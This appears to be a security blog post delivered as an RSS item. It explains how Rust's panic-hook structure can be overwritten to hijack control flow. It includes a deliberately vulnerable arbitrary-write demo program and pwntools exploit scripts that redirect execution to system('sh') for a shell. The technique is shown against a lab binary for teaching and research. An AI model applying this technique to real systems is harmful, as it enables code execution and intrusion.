<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>BlackCat</title><description>Blog</description><link>https://b1ackcat.com/</link><language>en</language><item><title>Rust Exploitation: From Panic to Shell</title><link>https://b1ackcat.com/blog/post/rust_exploitation_from_panic_to_shell/</link><guid isPermaLink="true">https://b1ackcat.com/blog/post/rust_exploitation_from_panic_to_shell/</guid><description>A walkthrough of exploiting Rust binaries by abusing panic hooks, showing how a simple panic can lead all the way to a shell.</description><pubDate>Mon, 26 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;Hello everyone!&lt;/p&gt;
&lt;p&gt;You&apos;ve probably heard that Rust is a memory-safe language, where many traditional exploitation techniques no longer apply.&lt;br /&gt;
But things get interesting when a program panics.&lt;/p&gt;
&lt;p&gt;In this post, we&apos;ll take a look at Rust&apos;s panic mechanism and see how abusing the panic hook can turn a crash into a shell.&lt;/p&gt;
&lt;h2&gt;What is a Rust panic?&lt;/h2&gt;
&lt;p&gt;First, we take a look at Rust panic.&lt;br /&gt;
In Rust, a panic occurs when the program can no longer continue running safely.&lt;/p&gt;
&lt;p&gt;For example, a panic can be triggered by a failed &lt;code&gt;unwrap()&lt;/code&gt; or &lt;code&gt;expect()&lt;/code&gt;, or by an explicit call to &lt;code&gt;panic!()&lt;/code&gt; by the developer.&lt;/p&gt;
&lt;p&gt;Panic is different from normal error handling using &lt;code&gt;Result&lt;/code&gt; and &lt;code&gt;Option&lt;/code&gt;. While error handling is meant for recoverable errors, panic represents a state where the program cannot continue running normally. With the default configuration, a panic prints an error message and terminates the program with a non-zero exit code (typically 101).&lt;/p&gt;
&lt;p&gt;Because of this, when a panic occurs in Rust, the program&apos;s control flow diverges from its normal execution path. Instead of returning from functions as usual, the runtime takes over and begins executing the panic handling routine.&lt;/p&gt;
&lt;p&gt;In most cases, panic is simply viewed as a way to terminate the program. Once a panic happens, the program prints an error message and exits, and developers rarely think about what happens beyond that point.&lt;/p&gt;
&lt;p&gt;However, when we take a closer look at what happens internally, the panic process reveals a surprisingly interesting execution flow. Before the program actually terminates, several runtime components are involved in handling the panic.&lt;/p&gt;
&lt;p&gt;This internal flow is not something developers usually need to consider during normal development, but it becomes highly relevant from an exploitation perspective.&lt;/p&gt;
&lt;p&gt;The official Rust documentation also describes panic as a runtime mechanism that stops program execution, but it does not go into detail about how this process unfolds internally.&lt;/p&gt;
&lt;p&gt;Reference: &lt;a href=&quot;https://doc.rust-lang.org/std/macro.panic.html&quot;&gt;Rust&apos;s Panic documentation&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What happens when Rust panics?&lt;/h2&gt;
&lt;p&gt;When a panic occurs, the program does not exit immediately. Instead, the Rust runtime begins executing a series of panic-handling steps.&lt;/p&gt;
&lt;p&gt;Here&apos;s a simplified view of the call flow (symbol names may vary by build):&lt;br /&gt;
&lt;code&gt;std::panicking::begin_panic()&lt;/code&gt;&lt;br /&gt;
└─ &lt;code&gt;std::sys::backtrace::__rust_end_short_backtrace()&lt;/code&gt;&lt;br /&gt;
  └─ &lt;code&gt;std::panicking::begin_panic::{{closure}}()&lt;/code&gt;&lt;br /&gt;
    └─ &lt;code&gt;std::panicking::rust_panic_with_hook()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Looking at the execution flow, all functions leading up to &lt;code&gt;rust_panic_with_hook()&lt;/code&gt; act as thin wrappers.
The actual panic behavior is determined inside &lt;code&gt;rust_panic_with_hook()&lt;/code&gt;.
As the name implies, this function controls the panic path based on the presence of a panic hook.
To understand why this matters, we need to look at this function in detail.&lt;/p&gt;
&lt;h2&gt;Panic hook explained&lt;/h2&gt;
&lt;p&gt;Now, let&apos;s dive into the internal of &lt;code&gt;rust_panic_with_hook()&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __cdecl __noreturn std::panicking::rust_panic_with_hook()
{
  __int64 v0; // rdx
  char v1; // cl
  __int64 v2; // rdi
  __int64 v3; // rsi
  char v4; // r8
  char v5; // r14
  char v6; // bl
  char v7; // al
  signed __int32 v8; // eax
  __int64 v9; // rdx
  __int64 v10; // rax
  __int64 v11; // rdx
  __int64 v12; // rcx
  __int64 *v13; // rax
  __int64 **v14; // rdi
  __int64 v15; // rdx
  __int64 *v16; // [rsp+0h] [rbp-B0h] BYREF
  void (__cdecl *v17)(); // [rsp+8h] [rbp-A8h]
  __int64 *v18; // [rsp+10h] [rbp-A0h]
  void (__cdecl *v19)(); // [rsp+18h] [rbp-98h]
  char **v20; // [rsp+20h] [rbp-90h]
  __int64 v21; // [rsp+28h] [rbp-88h]
  __int64 v22; // [rsp+30h] [rbp-80h]
  __int128 v23; // [rsp+38h] [rbp-78h]
  char v24; // [rsp+50h] [rbp-60h] BYREF
  _QWORD v25[2]; // [rsp+58h] [rbp-58h] BYREF
  __int64 v26; // [rsp+68h] [rbp-48h] BYREF
  __int64 v27; // [rsp+70h] [rbp-40h]
  __int64 v28; // [rsp+78h] [rbp-38h] BYREF

  v5 = v4;
  v6 = v1;
  v26 = v2;
  v27 = v3;
  v28 = v0;
  std::panicking::panic_count::increase();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first operation performed by this function is a call to &lt;code&gt;std::panicking::panic_count::increase()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The implementation of &lt;code&gt;increase()&lt;/code&gt; look as follows.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __cdecl std::panicking::panic_count::increase()
{
  char v0; // of
  char v1; // di
  __int64 v2; // rt0
  unsigned __int64 v3; // rcx
  unsigned __int64 v4; // rax

  v2 = _InterlockedIncrement64(&amp;amp;std::panicking::panic_count::GLOBAL_PANIC_COUNT);
  if ( !((v2 &amp;lt; 0) ^ v0 | (v2 == 0)) )
  {
    v3 = __readfsqword(0);
    if ( !*(_BYTE *)(v3 - 0x20) )
    {
      v4 = v3 - 0x28;
      ++*(_QWORD *)v4;
      *(_BYTE *)(v4 + 8) = v1;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The call to &lt;code&gt;_InterlockedIncrement64()&lt;/code&gt; increments &lt;code&gt;std::panicking::panic_count::GLOBAL_PANIC_COUNT&lt;/code&gt; and returns the incremented value. This value is then checked determine whether the current thread is already in a panicking state.&lt;/p&gt;
&lt;p&gt;The check at &lt;code&gt;v3 - 0x20&lt;/code&gt; corresponds to &lt;code&gt;thread::panicking()&lt;/code&gt;.&lt;br /&gt;
In other words, Rust verifies whether a panic has already occurred on the current thread. If this is the first panic, the thread is marked as panicking, and the function returns a value indicating &quot;first panic&quot; (here, &lt;code&gt;2&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The return value of &lt;code&gt;increase()&lt;/code&gt; determines how &lt;code&gt;rust_panic_with_hook()&lt;/code&gt; proceeds. There are three possible cases.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;0&lt;/strong&gt; or &lt;strong&gt;1&lt;/strong&gt;&lt;br /&gt;
The panic message is constructed, printed, and the process exits.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2&lt;/strong&gt;&lt;br /&gt;
This indicates the first panic on the current thread. In this case, Rust proceeds to invoke the panic hook.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the following analysis, we focus on the &lt;strong&gt;case where the return value is &lt;code&gt;2&lt;/code&gt;.&lt;/strong&gt; The code path is shown below.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if ( v7 == 2 )
  {
    v8 = std::panicking::HOOK[0];
    if ( std::panicking::HOOK[0] &amp;gt; 0x3FFFFFFDu
      || v8 != _InterlockedCompareExchange(std::panicking::HOOK, std::panicking::HOOK[0] + 1, std::panicking::HOOK[0]) )
    {
      std::sys::sync::rwlock::futex::RwLock::read_contended();
    }
    if ( *(_QWORD *)&amp;amp;std::panicking::HOOK[4] )
    {
      v20 = (char **)(*(__int64 (__fastcall **)(__int64))(v27 + 40))(v26);
      v21 = v15;
      v22 = v28;
      LOBYTE(v23) = v6;
      BYTE1(v23) = v5;
      (*(void (__fastcall **)(_QWORD))(*(_QWORD *)&amp;amp;std::panicking::HOOK[6] + 0x28))(*(_QWORD *)&amp;amp;std::panicking::HOOK[4]);
    }
    else
    {
      v20 = (char **)(*(__int64 (__fastcall **)(__int64))(v27 + 40))(v26);
      v21 = v9;
      v22 = v28;
      LOBYTE(v23) = v6;
      BYTE1(v23) = v5;
      std::panicking::default_hook();
    }
    core::ptr::drop_in_place&amp;lt;std::sync::poison::rwlock::RwLockReadGuard&amp;lt;std::panicking::Hook&amp;gt;&amp;gt;();
    *(_BYTE *)(__readfsqword(0) - 32) = 0;
    if ( v6 )
      __rustc::rust_panic();
    v20 = &amp;amp;off_451E58;
    v21 = 1;
    v22 = 8;
    v23 = 0;
    std::io::Write::write_fmt();
    v14 = &amp;amp;v16;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code first checks whether &lt;code&gt;std::panicking::HOOK[0]&lt;/code&gt; exceeds &lt;code&gt;0x3FFFFFFD&lt;/code&gt;.&lt;br /&gt;
If the value is within range, it attempts to increment the hook counter using an atomic compare-and-exchange (CAS), which serves as the fast path.&lt;br /&gt;
If the value exceeds the limit or the CAS operation fails due to concurrent modification, execution fails back to &lt;code&gt;RwLock::read_contended()&lt;/code&gt;, the slow path used to acquire the read lock under contention.&lt;/p&gt;
&lt;p&gt;The code then checks the value of &lt;code&gt;std::panicking::HOOK[4]&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If &lt;code&gt;HOOK[4]&lt;/code&gt; is NULL, Rust calls &lt;code&gt;default_hook()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;HOOK[4]&lt;/code&gt; is non-zero, Rust performs an indirect call: &lt;code&gt;(*(HOOK[6] + 0x28))(HOOK[4])&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code&gt;HOOK&lt;/code&gt; array resides in the &lt;code&gt;.bss&lt;/code&gt; section and is writable at runtime. This means that if an attacker processes an Arbitrary Address Write (AAW) primitive, they can overwrite the fields inside &lt;code&gt;std::panicking::HOOK&lt;/code&gt; and redirect execution during panic handling.&lt;/p&gt;
&lt;p&gt;In other words, a panic can be turned into a reliable control-flow transfer point.&lt;/p&gt;
&lt;p&gt;Before moving on, let&apos;s briefly observe the difference between cases where a panic hook is registered and where is it not, using a simple example program.&lt;/p&gt;
&lt;p&gt;The following example programs are used to compare the behavior with and without a panic hook.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;set_hook version&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// rustc panic_hook.rs -C relocation-model=static -C link-arg=-no-pie
use std::panic;

fn main() {
    panic::set_hook(Box::new(|_| {
        println!(&quot;Custom panic hook!&quot;);
    }));
    panic!();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;non-hook version&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// rustc panic.rs -C relocation-model=static -C link-arg=-no-pie
use std::panic;

fn main() {
    panic!();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&apos;ll begin by analyzing the non-hook version first.&lt;/p&gt;
&lt;p&gt;Before starting the binary, we set a breakpoint at &lt;code&gt;std::panicking::begin_panic()&lt;/code&gt;:&lt;br /&gt;
&lt;code&gt;b std::panicking::begin_panic&lt;/code&gt;. After running the binary, execution stops at the breakpoint.
&lt;img src=&quot;./images/begin_panic.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From here, we keep stepping through the call chain until execution reaches &lt;code&gt;rust_panic_with_hook()&lt;/code&gt;.
&lt;img src=&quot;./images/rust_panic_with_hook.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the function, the first call instruction invokes &lt;code&gt;std::panicking::panic_count::increase()&lt;/code&gt;.&lt;br /&gt;
Examining the return value shows that it is &lt;code&gt;2&lt;/code&gt;. As discussed earlier, this causes execution to enter the panic hook handling path.
&lt;img src=&quot;./images/call_increase.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Within the hook handling logic, the code first checks whether &lt;code&gt;HOOK[0]&lt;/code&gt; exceeds &lt;code&gt;0x3FFFFFFD&lt;/code&gt;, and then attempts to increment the counter.
&lt;img src=&quot;./images/check_hook.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inspecting the &lt;code&gt;HOOK&lt;/code&gt; array at this point shows that the value has been incremented as expected.
&lt;img src=&quot;./images/non_hook_state.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since &lt;code&gt;HOOK[4]&lt;/code&gt; is &lt;strong&gt;NULL&lt;/strong&gt; in this case, the default panic hook is invoked.&lt;br /&gt;
The error message is printed, and the binary exits.
&lt;img src=&quot;./images/default_hook.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next, we analyze the binary compiled with &lt;code&gt;panic::set_hook()&lt;/code&gt;.&lt;br /&gt;
The execution flow is largely identical up to this point.&lt;br /&gt;
However, when the code checks the value of &lt;code&gt;HOOK[4]&lt;/code&gt;, we observe that it is now set to &lt;code&gt;1&lt;/code&gt;.
&lt;img src=&quot;./images/check_set_hook.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Because &lt;code&gt;HOOK[4]&lt;/code&gt; is non-zero, execution follows the custom hook path. As a result, the user-defined panic hook is executed instead of the default hook.
&lt;img src=&quot;./images/call_set_hook.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Reference: &lt;a href=&quot;https://doc.rust-lang.org/std/panic/fn.set_hook.html&quot;&gt;Rust Panic Hook documentation&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Turning Panic into Control Flow&lt;/h2&gt;
&lt;p&gt;Based on the analysis so far, we now assume that an AAW primitive available and attempt to turn it into control-flow hijacking.&lt;/p&gt;
&lt;p&gt;The following program will be used for the demonstration.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// rustc overwrite_hook.rs -C relocation-model=static -C link-arg=-no-pie
use std::io::{self, Read, Write};

fn main() {
    let mut addr_str = String::new();
    let mut data = [0u8; 0x20];

    print!(&quot;addr: &quot;);
    io::stdout().flush().unwrap();
    io::stdin().read_line(&amp;amp;mut addr_str).unwrap();

    print!(&quot;value: &quot;);
    io::stdout().flush().unwrap();
    io::stdin().read_exact(&amp;amp;mut data).unwrap();

    let addr: u64 = addr_str.trim().parse().unwrap();
    unsafe {
        std::ptr::copy_nonoverlapping(data.as_ptr(), addr as *mut u8, 0x20);
    }
    panic!();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This program takes two inputs from the user:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;an address (&lt;code&gt;addr&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;a byte sequence (&lt;code&gt;value&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It then performs the equivalent of &lt;code&gt;memcpy(addr, value, 0x20)&lt;/code&gt;, followed by a call to &lt;code&gt;panic!()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Before overwriting the hook, we first need its address. This can be obtained either by inspecting the binary in IDA or by resolving the symbol in GDB.
In this case, the address of &lt;code&gt;std::panicking::HOOK&lt;/code&gt; is &lt;code&gt;0x45BA18&lt;/code&gt;
&lt;img src=&quot;./images/hook_addr.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we know the hook address, we can construct a proof-of-concept payload that redirects execution to an arbitrary address. As a test, we set RIP to &lt;code&gt;0xdeadbeefcafebabe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The poc script is shown below.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

e = ELF(&quot;./overwrite_hook&quot;)
p = process(e.path)

def fake_panic_hook(addr, func):
    func_addr = addr + 0x4
    payload = b&quot;&quot;
    payload += p32(0) # HOOK[0]
    payload += p64(func) # HOOK[1] - HOOK[2]
    payload += p32(0) # HOOK[3]
    payload += p32(1) # HOOK[4]
    payload += p32(0) # HOOK[5]
    payload += p32(func_addr-0x28) # HOOK[6] : HOOK[1] - 0x28
    payload += p32(0) # HOOK[7]
    return payload

panic_hook = e.sym[&quot;_ZN3std9panicking4HOOK17h7fb26004894a95b5E&quot;] # 0x45BA18
payload = fake_panic_hook(panic_hook, 0xdeadbeefcafebabe)
p.sendlineafter(b&quot;addr: &quot;, str(panic_hook).encode())
p.sendafter(b&quot;value: &quot;, payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After running the poc script, we examine the state of the &lt;code&gt;HOOK&lt;/code&gt; structure and verify that RIP is successfully redirected.&lt;br /&gt;
As shown below, a fake panic hook is written into the &lt;code&gt;HOOK&lt;/code&gt; structure, and the indirect call invokes &lt;code&gt;0xdeadbeefcafebabe&lt;/code&gt;.
&lt;img src=&quot;./images/rip_control.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At this point, we have successfully transformed an &lt;strong&gt;AAW&lt;/strong&gt; into an &lt;strong&gt;Arbitrary Address Call&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;From Panic to Shell&lt;/h2&gt;
&lt;p&gt;After achieving reliable RIP control, we proceed to turn it into shell execution.&lt;br /&gt;
To spawn a shell, we need to invoke &lt;code&gt;system(&quot;sh&quot;)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As discussed earlier, when a panic hook is present, the call site takes the following form:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// panic hook invocation
(*(HOOK[6] + 0x28))(HOOK[4]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the function pointer is derived from &lt;code&gt;HOOK[6]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;the argument is taken from &lt;code&gt;HOOK[4]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Therefore, by setting:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the call target to &lt;code&gt;system&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;the argument to a pointer to &lt;code&gt;&quot;sh&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With this setup, shell execution becomes possible.&lt;br /&gt;
Since calling &lt;code&gt;system()&lt;/code&gt; requires its runtime address, the program is slightly modified to resolve it via &lt;code&gt;dlsym()&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// rustc overwrite_hook.rs -C relocation-model=static -C link-arg=-no-pie
use std::io::{self, Read, Write};
use std::ffi::CString;

extern &quot;C&quot; {
    fn dlsym(handle: *mut core::ffi::c_void, symbol: *const i8) -&amp;gt; *mut core::ffi::c_void;
}

const RTLD_DEFAULT: *mut core::ffi::c_void = 0 as *mut _;


fn main() {
    let mut addr_str = String::new();
    let mut data = [0u8; 0x20];

    unsafe {
        let sym = CString::new(&quot;system&quot;).unwrap();
        let p = dlsym(RTLD_DEFAULT, sym.as_ptr()) as usize;
        println!(&quot;libc system @ 0x{:x}&quot;, p);
    }

    print!(&quot;addr: &quot;);
    io::stdout().flush().unwrap();
    io::stdin().read_line(&amp;amp;mut addr_str).unwrap();

    print!(&quot;value: &quot;);
    io::stdout().flush().unwrap();
    io::stdin().read_exact(&amp;amp;mut data).unwrap();

    let addr: u64 = addr_str.trim().parse().unwrap();
    unsafe {
        std::ptr::copy_nonoverlapping(data.as_ptr(), addr as *mut u8, 0x20);
    }
    panic!();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exploit script is shown below.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

e = ELF(&quot;./overwrite_hook&quot;)
p = process(e.path)

def fake_panic_hook(addr, func):
    func_addr = addr + 0x4
    payload = b&quot;&quot;
    payload += p32(0) # HOOK[0]
    payload += p64(func) # HOOK[1] - HOOK[2]
    payload += b&quot;sh\x00\x00&quot; # HOOK[3]
    payload += p32(addr+0xC) # HOOK[4]
    payload += p32(0) # HOOK[5]
    payload += p32(func_addr-0x28) # HOOK[6] : HOOK[1] - 0x28
    payload += p32(0) # HOOK[7]
    return payload

panic_hook = e.sym[&quot;_ZN3std9panicking4HOOK17h7fb26004894a95b5E&quot;] # 0x45BA18
system = int(p.recvline().split(b&quot;@&quot;)[1], 16)
log.info(f&quot;system @ {hex(system)}&quot;)
payload = fake_panic_hook(panic_hook, system)
p.sendlineafter(b&quot;addr: &quot;, str(panic_hook).encode())
p.sendafter(b&quot;value: &quot;, payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As shown below, execution reaches &lt;code&gt;system(&quot;sh&quot;)&lt;/code&gt;.
&lt;img src=&quot;./images/call_system.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A shell successfully spawned.
&lt;img src=&quot;./images/get_shell.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;In this post, we explored how Rust&apos;s panic hook mechanism can be abused to achieve an Arbitrary Address Call.&lt;br /&gt;
By overwriting the panic hook structure, we showed that an Arbitrary Address Write can be reliably transformed into control-flow hijacking.&lt;/p&gt;
&lt;p&gt;Because panic handling is a core part of Rust&apos;s runtime, panic-related structures are always present in compiled binaries.&lt;br /&gt;
In particular, the panic hook resides in the &lt;code&gt;.bss&lt;/code&gt; section and remains writable during execution.&lt;/p&gt;
&lt;p&gt;As a result, when an Arbitrary Address Write primitive is available, the panic hook can serve as a reliable exploitation target.&lt;br /&gt;
Through this, we confirmed that runtime behavior in Rust can be leveraged for exploitation.&lt;/p&gt;
</content:encoded></item></channel></rss>